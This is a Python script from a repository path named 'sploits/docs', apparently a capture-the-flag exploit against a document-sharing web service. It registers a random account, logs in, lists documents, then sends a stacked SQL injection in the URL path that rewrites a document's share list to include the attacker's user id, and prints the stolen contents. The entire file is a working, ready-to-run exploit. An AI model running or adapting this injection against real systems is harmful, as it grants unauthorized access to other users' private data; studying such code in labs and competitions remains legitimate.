git » repo » main » tree

[main] / sploits / docs / sploit.py 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3

import json
import logging
import os
import random
import requests
import string
import sys

def random_name(length=10):
    return ''.join(random.choices(
        string.ascii_lowercase + string.digits, k=length))

HOST, FLAG_ID = sys.argv[1], sys.argv[2]

base_url = f"http://{HOST}/"
session = requests.Session()

title, org = FLAG_ID.split("@", 1)
login = random_name()
password = random_name()

url = f"{base_url}register"
user_info = {"login": login, "password": password, "org": org}
r = session.post(url, json=user_info)
user_id = r.json()["user_id"]

url = f"{base_url}login"
r = session.post(url, json=user_info)

url = f"{base_url}docs"
r = session.get(url)
doc_id = r.json()["docs"][0]["id"]

hack_doc_id = f"-1';update docs set shares = '{{ {user_id} }}' where id = '{doc_id}"
print(hack_doc_id)
url = f"{base_url}contents/{hack_doc_id}"
session.get(url)

url = f"{base_url}contents/{doc_id}"
r = session.get(url)
print(r.text)